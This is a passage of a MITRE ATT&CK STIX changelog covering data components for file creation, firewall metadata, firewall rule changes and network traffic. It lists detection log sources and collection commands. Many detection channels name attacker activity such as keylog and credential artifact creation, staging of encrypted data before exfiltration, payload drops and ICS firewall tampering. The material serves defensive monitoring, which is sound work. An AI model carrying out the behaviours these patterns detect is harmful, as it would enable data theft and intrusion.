                            "name": "auditd:SYSCALL",
                            "channel": "write"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open, unlink, rename: File creation or deletion involving critical stored data"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "creat, open, write on /etc/systemd/system and /usr/lib/systemd/system"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "write, open, or rename to /etc/systemd/system/*.service"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open/create/rename: name in (/home/*/Downloads/*|/tmp/*|/run/user/*|/media/*) AND ext in SuspiciousExtensions"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "File creations of *.qcow2, *.vdi, *.vmdk outside standard VM directories"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open: File creation under /tmp, /var/tmp, ~/.cache with executable bit or shell shebang"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open, write, unlink"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "File creation events in /var/mail or /var/spool/mail exceeding baseline thresholds"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "write or create file after .bash_history access"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "new file created in /var/www/html, /srv/http, or similar web root"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "Access or modification to /lib/modules or creation of .ko files"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open,create"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open,creat,rename,write"
                        },
                        {
                            "name": "auditd:SYSCALL+PATH",
                            "channel": "Linux Audit SYSCALL+PATH records: file transfer (scp, sftp, rsync, etc.) placing executable on Industrial Control Systems (ICS) Linux asset, followed by execve of the transferred file within tool transfer window"
                        },
                        {
                            "name": "AWS:CloudTrail",
                            "channel": "PutObject"
                        },
                        {
                            "name": "CloudTrail:PutObject",
                            "channel": "PutObject"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "file write"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "VMFS file creation"
                        },
                        {
                            "name": "File",
                            "channel": "None"
                        },
                        {
                            "name": "fs:fileevents",
                            "channel": "creat"
                        },
                        {
                            "name": "fs:fileevents",
                            "channel": "create/write/rename in user-writable paths"
                        },
                        {
                            "name": "fs:fsevents",
                            "channel": "Create in /Users/*/Downloads or /private/var/folders/* with quarantine attribute"
                        },
                        {
                            "name": "fs:fsevents",
                            "channel": "Directory events (kFSEventStreamEventFlagItemCreated)"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "open/write/exec calls"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "disk activity on /Library/LaunchAgents or LaunchDaemons"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "File IO"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "file activity"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "file open/write"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "create: Attachment file creation in ~/Library/Mail directories"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "write or chmod to ~/Library/LaunchAgents/*.plist"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "file write"
                        },
                        {
                            "name": "fs:launchdaemons",
                            "channel": "file_create"
                        },
                        {
                            "name": "gcp:workspaceaudit",
                            "channel": "drive.activity logs"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "NSFileHandle/NSFileManager writes creating high-entropy files within app container (/var/mobile/Containers/Data/Application/<GUID>/tmp|Library/Caches)"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Create/write of high-entropy Mach-O/bundle or generic blob in /var/mobile/Containers/Data/Application/<GUID>/(tmp|Library/Caches)/"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Create/write in /var/mobile/Containers/Data/Application/<GUID>/(tmp|Library/Caches)/ for .js/.bundle/.dylib/.zip with elevated entropy"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "CREATE/WRITE of archive/container (.zip/.gz/.7z/.db export) aggregating recently read items"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "CREATE/WRITE of clipboard dump artifacts in container (clipboard.db, clip_*.txt, caches)"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "CREATE/WRITE clipboard/keylog artifacts (clipboard.db, keys_*.txt) in container"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "CREATE/WRITE of keylog artifacts (keys_*.txt, inputs.db) within app/keyboard container"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "CREATE/WRITE of form cache/credential-like artifacts (forms.db, creds.json) in container"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "CREATE/WRITE container paths like /Library/Caches/app_inventory.*\\\\.(json|plist|db)"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "CREATE/WRITE of /Library/Caches/security_inventory.*\\\\.(json|plist|db)"
                        },
                        {
                            "name": "linux:osquery",
                            "channel": "file_events"
                        },
                        {
                            "name": "linux:Sysmon",
                            "channel": "New files in /tmp, /var/tmp, $HOME/.cache, executed within TimeWindow after browser HTTP fetch"
                        },
                        {
                            "name": "macos:endpointsecurity",
                            "channel": "ES_EVENT_TYPE_NOTIFY_CREATE: path under /Users/*/(Downloads|Desktop|Library/*/Containers|Library/Group Containers) AND extension in SuspiciousExtensions"
                        },
                        {
                            "name": "macos:endpointsecurity",
                            "channel": "es_event_open"
                        },
                        {
                            "name": "macos:fsevents",
                            "channel": "/Library/StartupItems/, ~/Library/LaunchAgents/"
                        },
                        {
                            "name": "macos:osquery",
                            "channel": "CREATE/MODIFY: Modification of app.asar inside .app bundle"
                        },
                        {
                            "name": "macos:osquery",
                            "channel": "file_events"
                        },
                        {
                            "name": "macos:osquery",
                            "channel": "CREATE/MODIFY: Creation of LaunchAgents/Daemons plists in user/system locations"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "file write"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation or modification of browser extension .plist files"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "file creation in AV exclusion directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "file write/create"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "file events"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation of .plist under /Library/Managed Preferences/"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "creation of ~/.vscode-cli/code_tunnel.json"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "create/modify dylib files in monitored directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "New files written to /var/folders, /tmp, ~/Library/Caches, or ~/Downloads by browser context or its children"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "File created in ~/Library/LaunchAgents or executable directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Process wrote large .mov/.mp4 in user temp/hidden dirs"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "logd:file write"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "File creation"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Attachment files written to ~/Downloads or temporary folders"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Writes of .sql/.csv/.xlsx files to user documents/downloads"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation of .zip, .gz, .dmg archives in /Users, /tmp, or application directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation of .zip, .dmg, .tar.gz files in /Users, /tmp, or application directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "File Events"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation or modification of postinstall scripts within .pkg or .mpkg contents"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "create: New files in /tmp or ~/Library/Application Support/* with executable or script extensions"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "File creation of unsigned binaries/scripts in user cache or download directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation of files with anomalous headers and entropy values"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation of LaunchAgents/LaunchDaemons in hidden or non-standard directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation of .zip or .dmg files in user-accessible or temporary directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "file create or modify in /etc/emond.d/rules or /private/var/db/emondClients"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Writes under ~/Library/Application Support/Code*/extensions or JetBrains plugins"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App writes asymmetric-encrypted blob or encoded ciphertext to local staging path before network transmission \u2014 encrypted staging artifact"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: Local file write between inbound retrieval"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: open() with O_CREAT on path LIKE '/data/data/%/files/%' for binary or dex content by app_package NOT IN $LegitDynamicLoaders$"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: open() with O_CREAT on binary-typed path in /data/data/<app>/ within $StegoExecWindow$ of media file download from same session"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: open() with O_CREAT for file with audio MIME type (audio/mp4, audio/aac, audio/3gpp) in /data/data/<app>/files/ within $AudioCaptureWindow$ of recording API start"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: open() with O_CREAT for APK or binary file in /sdcard/ or /data/local/tmp/ by browser process within $DriveByWindow$ \u2014 payload drop confirms exploit code execution"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: PackageInstaller.install() with installer_source NOT IN $ApprovedInstallSources$ within $PolicyViolationWindow$ of settings change"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: app binary written to device with signing certificate matching manually-trusted enterprise cert NOT IN $EnterpriseCertAllowList$ within $ProfileInstallWindow$"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: PackageInstaller.install() with signing_cert NOT IN $EnterpriseCertList$ within $PolicyViolationWindow$ of settings change"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: IPA binary written with signing cert matching user-trusted certificate NOT IN $EnterpriseCertList$ within $ProfileInstallWindow$"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: app binary written to device storage as part of install \u2014 confirms impersonating app is being persisted"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: PackageInstaller.install() writes binary to device storage for impersonating app \u2014 install event is the enrollment of impersonating app"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: open() with O_CREAT for APK file in /sdcard/ or /data/local/tmp/ within $PhishingWindow$ of navigation to flagged URL \u2014 APK drop confirms malware delivery phase"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: File with binary signature (.apk, .dex, .so, .sh) written to app storage or /data/local/tmp/ from USB-mounted path or external storage within $USBInstallWindow$"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: Compromised app writes staging, cache, or export artifacts inconsistent with its declared function within $PostInstallWindow$"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App stages or caches content retrieved from web-service platform locally before initiating secondary network connection"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App writes high-entropy blob (Shannon entropy > $EntropyThreshold$) to local staging path immediately before outbound transmission \u2014 encrypted staging artifact confirms app-layer encryption occurred"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App writes newly retrieved binary, archive, native library (.so), DEX, or script to /data/data/<app>/files/, cache, or shared storage within $IngressWriteWindow$ of network retrieval from non-CDN source"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: Managed app writes newly retrieved container-local file, dylib-like resource, or opaque payload after download from non-CDN source"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: APK, DEX, or native library written to app installation path outside MDM-authorized update mechanism \u2014 binary replacement is the persistence artifact"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App reads files across multiple directories or databases in background state (collection phase) then invokes archive or compression routines on collected content \u2014 read-then-archive sequence is the staging chain"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App writes archive-like container, high-entropy packaged blob, or .zip/.gz output to app-private or cache path after bulk data collection \u2014 archive artifact in private storage is the staging evidence"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App writes large container, temp package, or high-entropy blob to container-local storage after clustered data access \u2014 staged archive artifact"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App writes to or modifies protected configuration files or local control structures of deployed security tools"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "IPA binary written with signing cert matching user-trusted certificate NOT IN $EnterpriseCertList$ within $ProfileInstallWindow$"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "PackageInstaller.install() with signing_cert NOT IN $EnterpriseCertList$ within $PolicyViolationWindow$ of settings change"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Browser/WebView process creates downloaded payloads, temporary files, dropped archives, or unusual cached web artifacts shortly after visiting external content"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "File writes from removable-media or USB-associated paths into download, package staging, temp, or application-accessible storage shortly after USB connection"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "large file write originating from /mnt/usb or external mounted storage"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Recently installed or updated trusted app writes staging, cache, buffer, or export artifacts inconsistent with its approved function, especially when temporally adjacent to sensitive resource access or outbound transfer"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "App stages, buffers, caches, or exports data locally immediately before communication with legitimate external web-service endpoints in a way inconsistent with normal sync or offline workflow"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Burst write to cache, buffer, temp, staging, or export path occurred between inbound retrieval and outbound write to same public web-service class"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Burst write to media, cache, temp, export, or staging path occurred during or immediately after camera session from same app identity"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "App writes encoded/encrypted blobs (high entropy data) to local storage or memory buffers prior to transmission"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "App writes high-entropy encrypted blobs to local storage or memory buffers prior to transmission"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "App writes asymmetric-encrypted blobs or encoded ciphertext to local buffers or files prior to transmission"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Application reads multiple user-data files, media objects, message stores, or app-private records in burst sequence immediately before packaging or encryption activity"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Application writes archive-like container or high-entropy packaged blob to app storage, cache, temp path, or shared external path after burst collection activity"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Application writes new large container, temp package, or high-entropy blob after clustered local data access and before outbound communication"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Application performs burst reads across local system paths, external storage, media directories, cache locations, or local database files within a short interval as the primary collection phase"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Application writes newly retrieved binary, archive, script-like asset, overlay content, library, or opaque payload to app-private, cache, temp, or shared external path as the primary local effect of transfer"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Managed app writes newly retrieved container-local asset, dylib-like resource, archive, or opaque payload shortly after remote retrieval as the strongest local effect"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "APK, DEX, native library, or package-associated executable content is written, expanded, or swapped in app package paths, staging paths, or installer cache immediately before or during application replacement"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "application modifies protected configuration, local control files, security settings, or tool-related data immediately before security service degradation or non-reporting state"
                        },
                        {
                            "name": "snmp:syslog",
                            "channel": "firmware write/log event"
                        },
                        {
                            "name": "WinEventLog:Microsoft-Windows-Shell-Core",
                            "channel": "New startup folder shortcut or binary placed in Startup directory"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=11"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "File creation of suspicious scripts/binaries in temporary directories"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=11 of alarm config paths by image not in Human-Machine Interface (HMI) alarm parent allowlist"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=11 with executable/script extension from remote-sourced write operation"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=11 from removable media path to Industrial Control Systems (ICS) engineering working directory"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=11 where an unrecognized process creates a staging/output file after bulk ICS data access activity"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=11 by same process within capture to file window of the Application Programming Interface (API) call"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=11 to alarm threshold config path by image not in Human-Machine Interface (HMI) alarm parent allowlist"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "3.1",
                    "x_mitre_domains": [
                        "ics-attack",
                        "enterprise-attack",
                        "mobile-attack"
                    ],
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 00:06:23.011000+00:00\", \"old_value\": \"2026-10-13 17:43:40.408000+00:00\"}}, \"iterable_item_added\": {\"root['x_mitre_log_sources'][0]\": {\"name\": \"MobileEDR:telemetry\", \"channel\": \"Monitored creation of an APK or application-package staging artifact following external retrieval\"}}}",
                    "previous_version": "3.1"
                },
                {
                    "type": "x-mitre-data-component",
                    "id": "x-mitre-data-component--746f095a-f84c-4ccc-90a5-c7caa5c100a2",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-10-20 15:05:19.273000+00:00",
                    "modified": "2026-10-13 19:46:44.053000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/datacomponents/DC0053",
                            "external_id": "DC0053"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Firewall Metadata",
                    "description": "Contextual information about firewalls, including their configurations, policies, status, and other details such as names and associated rules. This metadata provides valuable insights into the operational state and configurations of firewalls, both in cloud control planes and host systems. Examples: \n\n- Firewall Name and Configuration: The name, type, and purpose of a firewall such as \"Azure Firewall - Production Environment.\"\n- Policy Details: Capturing firewall policy details, such as \"Allow inbound TCP 443 to web servers.\"\n- Firewall Status: Status indicators like \"Active,\" \"Disabled,\" or \"Pending Updates.\"\n- Audit Log Metadata: Log entries showing administrative changes, such as \"Policy modified by admin@domain.com.\"\n- Rules Associated with Firewalls: Rules specifying source/destination IP ranges, protocols, and ports.\n- Tagging Information: Tags like \"Environment: Production\" or \"Owner: NetworkOps.\"\n\nThis data component can be collected through the following measures:\n\nCloud Control Plane\n\n- Azure: Use Azure Activity Logs and Network Watcher to collect metadata for Azure Firewall.\n    - Example: `az network firewall show --name <firewall-name>`\n- AWS: Use AWS CloudTrail and describe commands: `aws ec2 describe-security-groups`\n- Google Cloud: Use gcloud commands to extract metadata: `gcloud compute firewall-rules list --format=json`\n\nHost-Based Firewalls\n\n- Windows: Use PowerShell to gather metadata: `Get-NetFirewallRule -PolicyStore PersistentStore`\n- Linux: Query iptables or nftables rulesets: `iptables -S`\n- macOS: Use pfctl to extract metadata: `sudo pfctl -sr`\n\nSIEM Integration\n\n- Collect logs from cloud platforms, host systems, and network appliances.\n\nAPI Monitoring\n\n- Monitor API calls for metadata requests. Example (AWS): `Capture DescribeSecurityGroups or DescribeNetworkAcls` calls via CloudTrail.\n\nEndpoint Detection and Response (EDR)\n\n- Use EDR solutions to monitor firewall management tools for configuration changes or queries.",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_log_sources": [
                        {
                            "name": "WinEventLog:Security",
                            "channel": "Windows Security Windows Filtering Platform / Firewall audit events (policy-dependent): Windows Firewall rule added blocking Industrial Control Systems (ICS) protocol ports by account not in authorized firewall admins"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "2.0",
                    "x_mitre_domains": [
                        "enterprise-attack",
                        "ics-attack"
                    ],
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-10-13 19:46:44.053000+00:00\", \"old_value\": \"2026-10-13 17:43:55.329000+00:00\"}}, \"iterable_item_added\": {\"root['x_mitre_domains'][1]\": \"ics-attack\"}}",
                    "previous_version": "2.0"
                },
                {
                    "type": "x-mitre-data-component",
                    "id": "x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-10-20 15:05:19.273000+00:00",
                    "modified": "2026-10-13 19:46:59.402000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/datacomponents/DC0051",
                            "external_id": "DC0051"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Firewall Rule Modification",
                    "description": "The creation, deletion, or alteration of firewall rules to allow or block specific network traffic. Monitoring changes to these rules is critical for detecting misconfigurations, unauthorized access, or malicious attempts to bypass network protections. Examples: \n\n- Rule Creation: Adding a new rule to allow inbound traffic on port 3389 (RDP).\n- Rule Deletion: Deleting a rule that blocks inbound traffic from untrusted IP ranges.\n- Rule Modification: Changing a rule to allow traffic from \"any\" source IP instead of a specific trusted range.\n- Audit Log Metadata: Logs indicating \"Firewall rule modified by admin@domain.com.\"\n- Platform-Specific Scenarios\n    - Azure: Altering rules in an Azure Network Security Group (NSG).\n    - AWS: Modifying Security Group rules to allow traffic.\n    - Windows: Changes tracked in Security Event Logs (EID 4950 or 4951).\n\nThis data component can be collected through the following measures:\n\nCloud Control Plane\n\n- Azure: Collect rule modification logs from Azure Firewall Activity Logs.\n    - Example Command: `az network firewall policy rule-collection-group rule-collection list --policy-name <policy-name>`\n- AWS: Use CloudTrail to track `AuthorizeSecurityGroupIngress` or `RevokeSecurityGroupIngress` actions.\n    Example: `aws ec2 describe-security-groups`\n- Google Cloud: Use gcloud commands to extract firewall rules: `gcloud compute firewall-rules list --format=json`\n\nHost-Based Firewalls\n\n- Windows: \n    - Collect events from the Windows Security Event Log (EID 4950: A rule has been modified).\n    - Use PowerShell to track rule changes: `Get-NetFirewallRule -PolicyStore PersistentStore`\n- Linux:\n    - Monitor iptables or nftables rule modifications: `iptables -L -v`\n    - Use auditd for real-time monitoring: `auditctl -w /etc/iptables.rules -p wa`\n- macOS: Use pfctl to monitor rule changes: `sudo pfctl -sr`\n\nSIEM Integration\n\n- Collect logs from cloud platforms, host systems, and network appliances for centralized monitoring.\n\nAPI Monitoring\n\n- Monitor API calls for firewall rule modifications.",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_log_sources": [
                        {
                            "name": "AWS:CloudTrail",
                            "channel": "AuthorizeSecurityGroupIngress"
                        },
                        {
                            "name": "AWS:CloudTrail",
                            "channel": "Create egress rule allowing UDP to port 53, 123, 11211"
                        },
                        {
                            "name": "AWS:CloudTrail",
                            "channel": "Ingress rule creation or modification for security group"
                        },
                        {
                            "name": "AWS:CloudTrail",
                            "channel": "New security group created with permissive rules"
                        },
                        {
                            "name": "esxi:hostd",
                            "channel": "vSphere API calls modifying firewall settings"
                        },
                        {
                            "name": "Firewall Audit Logs",
                            "channel": "Config Change"
                        },
                        {
                            "name": "Firewall Audit Logs",
                            "channel": "Outbound NAT Rule Changes"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "iptables or nftables rule changes"
                        },
                        {
                            "name": "networkdevice:cli",
                            "channel": "firewall disable commands or suspicious ACL modifications"
                        },
                        {
                            "name": "networkdevice:Firewall",
                            "channel": "update_rule: Access control or NAT rule modified or disabled outside maintenance window"
                        },
                        {
                            "name": "NSM:Firewall",
                            "channel": "Policy Change / Rule Update"
                        },
                        {
                            "name": "NSM:Firewall",
                            "channel": "rule_modification: New or modified firewall rules related to wireless interfaces"
                        },
                        {
                            "name": "WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall",
                            "channel": "new rule allowing inbound or outbound connections for remote desktop software"
                        },
                        {
                            "name": "WinEventLog:Security",
                            "channel": "Firewall Rule Modification"
                        },
                        {
                            "name": "WinEventLog:Security",
                            "channel": "Windows Security Windows Filtering Platform / Firewall audit events (policy-dependent): firewall rule change blocking unsolicited Industrial Control Systems (ICS) reporting traffic while command/polling traffic continues"
                        },
                        {
                            "name": "WinEventLog:Security",
                            "channel": "Windows Security Windows Filtering Platform / Firewall audit events (policy-dependent): firewall rule change selectively blocking one Industrial Control Systems (ICS) traffic type from Supervisory Control and Data Acquisition (SCADA)/Distributed Control System (DCS) host without corresponding change ticket"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "2.0",
                    "x_mitre_domains": [
                        "enterprise-attack",
                        "ics-attack"
                    ],
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-10-13 19:46:59.402000+00:00\", \"old_value\": \"2026-10-13 17:43:54.279000+00:00\"}}, \"iterable_item_added\": {\"root['x_mitre_domains'][1]\": \"ics-attack\"}}",
                    "previous_version": "2.0"
                },
                {
                    "type": "x-mitre-data-component",
                    "id": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-10-20 15:05:19.274000+00:00",
                    "modified": "2026-11-03 00:15:15.935000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/datacomponents/DC0085",
                            "external_id": "DC0085"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Network Traffic Content",
                    "description": "The full packet capture (PCAP) or session data that logs both protocol headers and payload content. This allows analysts to inspect command and control (C2) traffic, exfiltration, and other suspicious activity within network communications. Unlike metadata-based logs, full content analysis enables deeper protocol inspection, payload decoding, and forensic investigations.\n\n*Data Collection Measures:*\n\n- Network Packet Capture (Full Content Logging)\n    - Wireshark / tcpdump / tshark\n        - Full packet captures (PCAP files) for manual analysis or IDS correlation. `tcpdump -i eth0 -w capture.pcap`\n    - Zeek (formerly Bro)\n        - Extracts protocol headers and payload details into structured logs. `echo \"redef Log::default_store = Log::ASCII;\" > local.zeek | zeek -Cr capture.pcap local.zeek`\n    - Suricata / Snort (IDS/IPS with PCAP Logging)\n        - Deep packet inspection (DPI) with signature-based and behavioral analysis. `suricata -c /etc/suricata/suricata.yaml -i eth0 -l /var/log/suricata`\n- Host-Based Collection\n    - Sysmon Event ID 22 \u2013 DNS Query Logging, Captures DNS requests made by processes, useful for detecting C2 domains.\n    - Sysmon Event ID 3 \u2013 Network Connection Initiated, Logs process-to-network connection relationships.\n    - AuditD (Linux) \u2013 syscall=connect, Monitors outbound network requests from processes. `auditctl -a always,exit -F arch=b64 -S connect -k network_activity`\n- Cloud & SaaS Traffic Collection\n    - AWS VPC Flow Logs / Azure NSG Flow Logs / Google VPC Flow Logs, Captures metadata about inbound/outbound network traffic.\n    - Cloud IDS (AWS GuardDuty, Azure Sentinel, Google Chronicle), Detects malicious activity in cloud environments by analyzing network traffic patterns.",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_log_sources": [
                        {
                            "name": "VPN:MobileProxy",
